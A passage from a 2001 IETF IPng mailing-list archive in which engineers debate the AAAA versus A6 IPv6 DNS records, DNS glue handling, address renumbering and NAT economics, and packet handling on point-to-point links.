Same happens with the PTR records and = DNAME ... how is the client or DHCPv6 server told to use a particular = DNAME to register?

Seems to me that most clients and = DHCPv6 servers will register with the full 128-bits and therefore this = fancy stuff won't be used anyway - since nothing will be in place to = set it up.

Sure, we could add a DHCPv6 option to = communicate these details. But, what about when DHCPv6 isn't used and = autoconfiguration is used?

Sorry if this has already been raised = as an issue and I missed it.

- Bernie Volz

------_=_NextPart_001_01C0D1B8.4258AFF0-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 2 14:50:39 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42LocIM005126 for ; Wed, 2 May 2001 14:50:38 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f42Lob6T005125 for ipng-dist; Wed, 2 May 2001 14:50:37 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42LoVIM005118 for ; Wed, 2 May 2001 14:50:31 -0700 (PDT) Received: (from jrh@localhost) by stinker.eng.sun.com (8.11.0+Sun/8.11.0) id f42Ll6s05847 for ipng@sunroof.eng.sun.com; Wed, 2 May 2001 14:47:06 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f4108kIM029820 for ; Mon, 30 Apr 2001 17:08:46 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA11014 for ; Mon, 30 Apr 2001 17:08:46 -0700 (PDT) Received: from palrel2.hp.com (palrel2.hp.com [156.153.255.234]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id RAA19815 for ; Mon, 30 Apr 2001 17:08:45 -0700 (PDT) Received: from amrelay1.boi.hp.com (amrelay1.boi.hp.com [15.56.8.24]) by palrel2.hp.com (Postfix) with ESMTP id CA6FA1D2; Mon, 30 Apr 2001 17:08:44 -0700 (PDT) Received: from xpabh3.corp.hp.com (xpabh3.corp.hp.com [15.58.136.223]) by amrelay1.boi.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id SAA27145; Mon, 30 Apr 2001 18:08:43 -0600 (MDT) Received: by xpabh3.corp.hp.com with Internet Mail Service (5.5.2653.19) id ; Mon, 30 Apr 2001 17:08:42 -0700 Message-ID: From: "SCHUBERT,EBENEZER (HP-Cupertino,ex1)" To: "'David Terrell'" , Masataka Ohta Cc: "D. J. Bernstein" , namedroppers@ops.ietf.org, ipng@sunroof.eng.sun.com Subject: RE: AAAA/A6 thing Date: Mon, 30 Apr 2001 17:08:40 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk hi, Is there any alternate solution to A6 record being looked at ? Something which lies somewhere in between AAAA and A6. -ebi > -----Original Message----- > From: David Terrell [mailto:dbt@meat.net] > Sent: Monday, April 30, 2001 9:25 AM > To: Masataka Ohta > Cc: D. J. Bernstein; namedroppers@ops.ietf.org; > ipng@sunroof.eng.sun.com > Subject: Re: AAAA/A6 thing > > > On Mon, Apr 30, 2001 at 06:16:21PM +0859, Masataka Ohta wrote: > > Dan; > > > > It's your problem. > > > > > Paul A Vixie writes: > > > > i have not, yet, heard anything new against A6 in this > round of the debate. > > > > > > http://cr.yp.to/djbdns/killa6.html > > > > How about: > > > > aol.com. NS ns0.aol.net. > > aol.com. NS ns1.aol.net. > > > > aol.net. NS ns0.aol.com. > > aol.net. NS ns1.aol.com. > > > > ? > > In this case, ns[01].aol.{net,com} will be in the {net,com} zones as > glue. > > I think the question that I have yet to see answered that Dan is > not articulating well is "how the hell is DNS glue supposed to work > sanely with A6?" I can't find an answer to that myself. Everybody's > talking about no full IP addresses written anywhere, and DNS > delegation is one place where that just doesn't work. You need the > full 128 bit address in there, and glue registry is the one place > that these addresses can't change frequently, because of the bulk > of TLD zones and complicated, time consuming procedures registrars > use to update those records... > > -- > David Terrell | "I went into Barnes and Noble to > look for a > Prime Minister, Nebcorp | book on A.D.D., but I got bored and left." > dbt@meat.net | - Benjy Feen > http://wwn.nebcorp.com/ | > > > to unsubscribe send a message to > namedroppers-request@ops.ietf.org with > the word 'unsubscribe' in a single line as the message text body. > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 2 14:51:51 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42LpoIM005146 for ; Wed, 2 May 2001 14:51:51 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f42LpnGG005145 for ipng-dist; Wed, 2 May 2001 14:51:49 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42LpeIM005138 for ; Wed, 2 May 2001 14:51:40 -0700 (PDT) Received: (from jrh@localhost) by stinker.eng.sun.com (8.11.0+Sun/8.11.0) id f42LmF205907 for ipng@sunroof.eng.sun.com; Wed, 2 May 2001 14:48:15 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41EU6IM001355 for ; Tue, 1 May 2001 07:30:06 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA08930 for ; Tue, 1 May 2001 07:30:06 -0700 (PDT) Received: from egyptian-gods.MIT.EDU (EGYPTIAN-GODS.MIT.EDU [18.101.0.162]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA06313 for ; Tue, 1 May 2001 07:30:05 -0700 (PDT) Received: (from ghudson@localhost) by egyptian-gods.MIT.EDU (8.9.3) id KAA08968; Tue, 1 May 2001 10:29:44 -0400 Message-Id: <200105011429.KAA08968@egyptian-gods.MIT.EDU> To: "D. J. Bernstein" cc: ipng@sunroof.eng.sun.com, namedroppers@ops.ietf.org Subject: Re: AAAA/A6 thing In-Reply-To: Your message of "30 Apr 2001 19:09:48 -0000." <20010430190948.19724.qmail@cr.yp.to> Date: Tue, 01 May 2001 10:29:44 -0400 From: Greg Hudson Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Ohta is wrong. This is a bug in the protocol, not in any particular > implementation. All of my comments apply to BIND's A6 > implementation; BIND discards out-of-bailiwick records for security, > just as djbdns does. Ohta's ``fix'' comments are nonsense. I don't understand this argument. How can NS glue work if BIND and djbdns completely discard out-of-bailiwick records during a query? I thought BIND and djbdns would use out-of-bailiwick records to complete the current query (which is not a security problem, since the server who gave you those records could have simply given you a different answer) but wouldn't cache them for future queries. Pardon my slowness. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 2 14:51:18 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42LpHIM005136 for ; Wed, 2 May 2001 14:51:17 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f42LpGnu005135 for ipng-dist; Wed, 2 May 2001 14:51:16 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42Lp8IM005128 for ; Wed, 2 May 2001 14:51:08 -0700 (PDT) Received: (from jrh@localhost) by stinker.eng.sun.com (8.11.0+Sun/8.11.0) id f42Llhf05877 for ipng@sunroof.eng.sun.com; Wed, 2 May 2001 14:47:43 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f417SMIM000625 for ; Tue, 1 May 2001 00:28:22 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA10067 for ; Tue, 1 May 2001 00:28:23 -0700 (PDT) Received: from isrv3.isc.org (isrv3-i.isc.org [204.152.184.87]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA15218 for ; Tue, 1 May 2001 00:28:23 -0700 (PDT) Received: from redpaul.mfnx.net (redpaul.mfnx.net [204.152.187.70]) by isrv3.isc.org (8.11.2/8.9.1) via ESMTP id f417SM619596 for ; Tue, 1 May 2001 00:28:22 -0700 (PDT) env-from (vixie@mfnx.net) Received: from redpaul.mfnx.net (localhost [127.0.0.1]) by redpaul.mfnx.net (8.9.3/8.9.1) via ESMTP id AAA91467 for ; Tue, 1 May 2001 00:28:21 -0700 (PDT) env-from (vixie@mfnx.net) Message-Id: <200105010728.AAA91467@redpaul.mfnx.net> To: ipng@sunroof.eng.sun.com Subject: Re: was a6/aaaa - RA/ND & exchanges In-Reply-To: Message from Bill Manning of "Mon, 30 Apr 2001 23:38:31 PDT." <200105010638.f416cVJ17319@zed.isi.edu> Date: Tue, 01 May 2001 00:28:21 -0700 From: Paul A Vixie X-DCC-MAPS-Metrics: west1.mail-abuse.org 668; IP=92 env_From=126 From=390 Subject=1 Message-ID=1 Received=1 Body=1 Fuz1=1 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > The Fix? Turn off ND & RA and statically configure the interfaces. the idea of using any kind of stateless automatic *anything* with bgp speaking routers....... terrifies me. at paix, for ipv6, we statically allocate. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 2 14:52:48 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42LqlIM005159 for ; Wed, 2 May 2001 14:52:47 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f42LqkYw005158 for ipng-dist; Wed, 2 May 2001 14:52:46 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42LqYIM005148 for ; Wed, 2 May 2001 14:52:35 -0700 (PDT) Received: (from jrh@localhost) by stinker.eng.sun.com (8.11.0+Sun/8.11.0) id f42Ln9705937 for ipng@sunroof.eng.sun.com; Wed, 2 May 2001 14:49:09 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f426t7IM003086 for ; Tue, 1 May 2001 23:55:08 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA06114 for ; Tue, 1 May 2001 23:55:08 -0700 (PDT) Received: from minuet.das.harvard.edu (minuet.das.harvard.edu [140.247.50.251]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id XAA12864 for ; Tue, 1 May 2001 23:55:07 -0700 (PDT) Received: from endor.deas.harvard.edu (endor.harvard.edu [128.103.50.55]) by minuet.das.harvard.edu (8.9.1/8.9.1) with ESMTP id CAA07610 for ; Wed, 2 May 2001 02:55:06 -0400 (EDT) From: Dan Lanciani Received: (from ddl@localhost) by endor.deas.harvard.edu (8.8.8/8.8.8) id CAA01592 for ipng@sunroof.eng.sun.com; Wed, 2 May 2001 02:55:05 -0400 (EDT) Date: Wed, 2 May 2001 02:55:05 -0400 (EDT) Message-Id: <200105020655.CAA01592@endor.deas.harvard.edu> To: ipng@sunroof.eng.sun.com Subject: Re: AAAA/A6 thing Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Robert Elz wrote: |Yes - we also need renumbering to work under IPv6 for the (current only) |routing table growth size problem to be helped by IPv6. I understand what you mean, but it implies that there are no alternatives to non-portable, unstable address space. If this is true then indeed renumbering has to work transparently, but it isn't clear that there aren't other solutions to the core problem. |(That is, aside from the one time transitional help caused by everyone |doing an initial renumber into a topologically sane address when they |first start running IPv6). I wouldn't count on much gain from the one-time event. Anyone who currently owns portable IPv4 address space isn't going to give it up without a fight. Everybody else is already using "sane" addresses from an aggregation point of view. |I have been trying to fathom what is going on with renumbering - there seems |recently to have been some kind of "well, it turns out that we can't |renumber an IPv6 network every day, and if we think about it, we'll never |actually need to anyway, so we can stop worrying about renumbering". | |That's nonsense. | |Renumbering is still important, and still needs to become one of the main |features of v6 - that we haven't actually achieved a lot yet just makes |it even more urgent. You've just identified exactly "what is going on with renumbering." Transparent renumbering (i.e., renumbering that works for rather than against the end user) has to remain forever just around the corner. It has to be on its way to make unstable IPv6 address space palatable. But it can never arrive because that would upset the delicate economics of stable addresses. This has been going on for years. |Then we went a bit further with router renumbering, to provide a mechanism |to get a renumbering event distributed to the routers of an organisation |more seamlessly - that's newer, but is still not a lot implemented that I'm |aware of (though unless we're all unlucky, it should be coming). This is not progress. Router renumbering gives ISPs a tool to conveniently change your addresses out from under you if you haven't paid a premium for stable address space. It does little to help the end user. Real progress would mean solving the much harder end-node renumbering problem with all that entails at the protocol and application level. |It seems that some people have looked at the renumbering problem, decided |that it is still real hard (it is), and thought "if I just get a stable |IPv6 address and keep it forever, I'll never have to worry about that". This is the model that ISPs are promoting. If you want to do anything interesting you need static address space, and you are going to pay for it. (Of course, you have to beg for the privilege of paying for it and it still isn't portable.) |Hence we're still occasionally seeing calls for portable IPv6 addresses. People recognize that at some level you need an identifier that you can call your own. At the moment, the DNS doesn't quite do it. A few years ago I proposed a portable identifier mechanism that would have solved the renumbering problem, the multi-homed problem, and the mobility problem. Nobody seemed interested. Now that a few large companies have patented the idea, perhaps it will take off. (Unfortunately, they seem to have tweaked the protocol a bit to insure that you need an identifier in a small fixed number space, and I assume you will be paying them for that...) |If that was to be the result, then we need (very very quickly) some entirely |new routing methodology which will solve the routing table growth problems We've needed that for a long time... |(for which "buy more RAM" is not even half a solution of course). This is true but misleading. It is misleading because of the unstated implication that the problem can't be solved by throwing bigger hardware at it, and this is still open to debate. It is true mainly because a router vendor (who shall remain nameless) made a practice of providing extremely limited RAM expansion capability in its products. It is also true because we still use routing protocols that consume copious resources yet provide minimal functionality. The latter is exacerbated by attempts to compensate for the protocols' shortcomings with filters and flapping penalties. In many cases this reduces routing to a highly-damped unreachability computation that still seems to cost too much to run. So while you may not be able to simply buy more RAM, you can likely buy a new router for much less than you would pay for the RAM expansion if it existed. And we could improve the routing protocols. Back when address aggregation was introduced for IPv4 it was billed as temporary hack to slow the growth of the routing tables until hardware had caught up. CIDR block addresses were _not_ supposed to be non-portable. When you switched providers you were supposed to be able to take your address block with you. The reasoning was that this would happen slowly enough that there would not be significant fragmentation before the hardware caught up. Well, the hardware has caught up but aggregation--like a "temporary" tax increase--has remained. And you can't take your address block with you because it "defeats the purpose" (whatever the purpose is now). Rather than attempt to solve the routing problem, IPv6 as currently envisioned simply redefines the temporary hack as a feature of the routing architecture. It expands the address space bit-wise, but preserves the economics of address allocation. |Or, we need to keep working on the renumbering problem - keep finding little |pieces of what makes it difficult, and fixing them, until it is no longer |so difficult. Oh, I'm sure we'll keep working on little pieces, virtually guaranteeing that there will never be a comprehensive solution. As long as it looks like we are making progress... |ps: A6 is just one more minor step in making renumbering just that little |bit easier - or will be, once we demonstrate that it really does work, and |start deploying it in some form or other. A6 is just one more minor hand-wave implying that things might all work at some point in the future when we solve the real problems. Tim Chown wrote: |As a side-line I run a small ISP, and that's where the renumbering problem |kicks in, because I want to get the best leased line deal that I can on |an annual basis, but I don't have the leverage to demand to take my |Class C with me to a new provider (nor should I) Why shouldn't you? |as I probably could with |a Class B size address. The providers know that the cost of moving to a |new provider is high, because of renumbering. Certainly they know that. That and the sale of address space are the two main benefits of aggregation. |As a result, I get quite tempted to run 1:1 NAT, simply to make moving to a |new provider easier. I haven't done that, but I expect many small ISPs do. |If application (and firewall) developers don't reduce the dependency on |hard-coded IP addresses, then it's probable that some form of IPv6 NAT will |be used to map site-locals when IPv6 comes into common usage, as horrific |as that may sound to some. Of course NAT will be used with IPv6. Why pay a per-address fee and then an additional fee to keep the address stable (at least in the short term) when you can maintain your own internal addresses with NAT? NAT is the thorn in the side of the ISPs' accountants. Many people like to talk about NAT's architectural impurity, but the bottom line is that it works fine for most applications. NAT is the market's reaction to the (artificially) high price of address space. Apparently there was some expectation that addresses were a hard resource that people would pay anything for since they couldn't live without them. It didn't work out that way. Now there seems to be some expectation that people will trade in their NATs for shiny new public per-host IPv6 addresses (that the ISP can charge for and renumber of a whim) just because there are more address bits. This isn't going to happen either. Those who take offense at NAT's impurity can make it go away quite simply: just give people stable, portable address space... Dan Lanciani ddl@harvard.edu -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 2 15:25:31 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42MPVIM005546 for ; Wed, 2 May 2001 15:25:31 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f42MPUcO005545 for ipng-dist; Wed, 2 May 2001 15:25:30 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42MPQIM005538 for ; Wed, 2 May 2001 15:25:26 -0700 (PDT) Received: (from jrh@localhost) by stinker.eng.sun.com (8.11.0+Sun/8.11.0) id f42MM1v06080 for ipng@sunroof.eng.sun.com; Wed, 2 May 2001 15:22:01 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f427voIM003229 for ; Wed, 2 May 2001 00:57:51 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA10636 for ; Wed, 2 May 2001 00:57:50 -0700 (PDT) Received: from batch16.uni-muenster.de (BATCH16.UNI-MUENSTER.DE [128.176.188.114]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA27674 for ; Wed, 2 May 2001 00:57:49 -0700 (PDT) Received: from moebius.uni-muenster.de (LEMY.UNI-MUENSTER.DE [128.176.184.113]) by batch16.uni-muenster.de (Postfix) with ESMTP id ACEDF120F; Wed, 2 May 2001 09:57:44 +0200 (MES) Message-ID: X-Mailer: XFMail 1.4.6 on Linux X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <27764.988708929@itojun.org> Date: Wed, 02 May 2001 09:57:49 +0200 (CEST) Organization: Westfaelische Wilhelms-Universitaet From: Christian Schild To: itojun@iijlab.net Subject: Re: AAAA/A6 thing Cc: ipng@sunroof.eng.sun.com, namedroppers@ops.ietf.org Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Itojun, On 01-May-2001 itojun@iijlab.net wrote: > >> | Is there any alternate solution to A6 record >> | being looked at ? Something which lies somewhere >> | in between AAAA and A6. >>The obvious thing there would simply be to add some restrictions to the >>use of A6. One currently proposed is to only use A6 0,xxx (which makes >>it isomorphic to AAAA - but at least using the new record format, so >>upgrading to something a bit more complex later would not be impossible). > > this part i don't really understand. if we advocate "A6 0 <128bit>" > there will be resolver implementation that does not chase A6 chains > at all (like for cellphones or whatever). if there's no need, > there'll be no code. then, there will be no possibility for "A6 > ". so I don't really see benefit > of "A6 0 <128bit>" than "AAAA". one can still 'advocate' A6 0 <128bit> with the chain resolution implemented. In my understanding we should suggest to use 128bit records for _now_. If in the future, with more testing done and more experience at hand, we have developed a good set of rules how to chain A6 records in an unperilous manner, then we could start to _use_ the chaining. Christian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 2 15:28:05 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42MS4IM005559 for ; Wed, 2 May 2001 15:28:04 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f42MS4NY005558 for ipng-dist; Wed, 2 May 2001 15:28:04 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42MRoIM005551 for ; Wed, 2 May 2001 15:27:50 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA25130; Wed, 2 May 2001 15:27:49 -0700 (PDT) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA12621; Wed, 2 May 2001 15:27:48 -0700 (PDT) Received: from localhost ([3ffe:8050:201:1860:a543:f968:2f37:3f15]) by shuttle.wide.toshiba.co.jp (8.9.1+3.1W/8.9.1) with ESMTP id HAA04987; Thu, 3 May 2001 07:26:34 +0900 (JST) Date: Thu, 03 May 2001 07:26:52 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Erik Nordmark Cc: ipng@sunroof.eng.sun.com Subject: Re: nonexisting destination on p2p link In-Reply-To: References: User-Agent: Wanderlust/2.5.8 (Smooth) Emacs/21.0 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 980905(IM100) Lines: 44 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Wed, 2 May 2001 14:18:04 +0200 (CEST), >>>>> Erik Nordmark said: >> 2. we'd also like to allow users to use the /64 prefix on the p2p link >> just like an ethernet (i.e. broadcast) link. That is, when P/64 is >> assigned to the link, users can assume there might be a node P:A on >> the other end of the link for an arbitrary interface ID 'A', which >> might be learned from DNS, off-line communication, some other >> discovery mechanism, or even some misconfiguration or attacks. > Doesn't this mean that you'd like the other end of the link have more than > one interface ID? Yes. > If you allow this there is a possibility that the other end uses a very > large number of interface IDs. Do you expect the two ends to somehow > discover (manually?) all the interface IDs? No, at least in our current implementation. As described above, it just sends the packet to the p2p link, assuming the other end node has the destination address. > Ignoring the DoS issue for a moment, there seems to be some utility > in sending anything in the /64 (except perhaps the sender's IP addresses - > different implementations seem to do that differently) across the pt-pt > link since it allows the peer to have any number of interface IDs in the /64. > *If* we want the above flexibility I don't think a simple > sending rule can fix the DoS issue why not? Do you mean an attack that sends a massive number of packet that fills in the p2p link in a single direction (i.e. not looped)? If so, that's right, but, this type of attack cannot be prevented by NS/NA exchanges, either. > I think we need something akin > to sending an NS/NA pair across the link (even though that > sounds a bit silly on a pt-pt link). JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 2 16:27:28 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42NRRIM005667 for ; Wed, 2 May 2001 16:27:27 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f42NRRqx005666 for ipng-dist; Wed, 2 May 2001 16:27:27 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42NRFIM005659 for ; Wed, 2 May 2001 16:27:15 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA08677 for ; Wed, 2 May 2001 16:27:16 -0700 (PDT) Received: from gungnir.fnal.gov (gungnir.fnal.gov [131.225.80.1]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA28102 for ; Wed, 2 May 2001 16:27:15 -0700 (PDT) Received: from gungnir.fnal.gov (localhost [127.0.0.1]) by gungnir.fnal.gov (8.9.1/8.9.1) with ESMTP id SAA07612; Wed, 2 May 2001 18:27:02 -0500 (CDT) Message-Id: <200105022327.SAA07612@gungnir.fnal.gov> To: Paul A Vixie Cc: ipng@sunroof.eng.sun.com From: "Matt Crawford" Subject: Re: was a6/aaaa - RA/ND & exchanges In-reply-to: Your message of Tue, 01 May 2001 00:28:21 PDT. <200105010728.AAA91467@redpaul.mfnx.net> Date: Wed, 02 May 2001 18:27:01 -0500 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > > The Fix? Turn off ND & RA and statically configure the interfaces. > > the idea of using any kind of stateless automatic *anything* with > bgp speaking routers....... terrifies me. at paix, for ipv6, we > statically allocate. I have already pointed out the parts of the ND spec that say that routers should not be autoconfiguring addresses from received router advertisements. Bill was just suffering a little early-adopter pain with unfinished router implementations. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 2 21:18:12 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f434IBIM005936 for ; Wed, 2 May 2001 21:18:11 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f434IB56005935 for ipng-dist; Wed, 2 May 2001 21:18:11 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f434I1IM005928 for ; Wed, 2 May 2001 21:18:02 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA19283 for ; Wed, 2 May 2001 21:18:01 -0700 (PDT) Received: from mail.users.bit-net.com (www.bit-net.com [208.146.132.4]) by 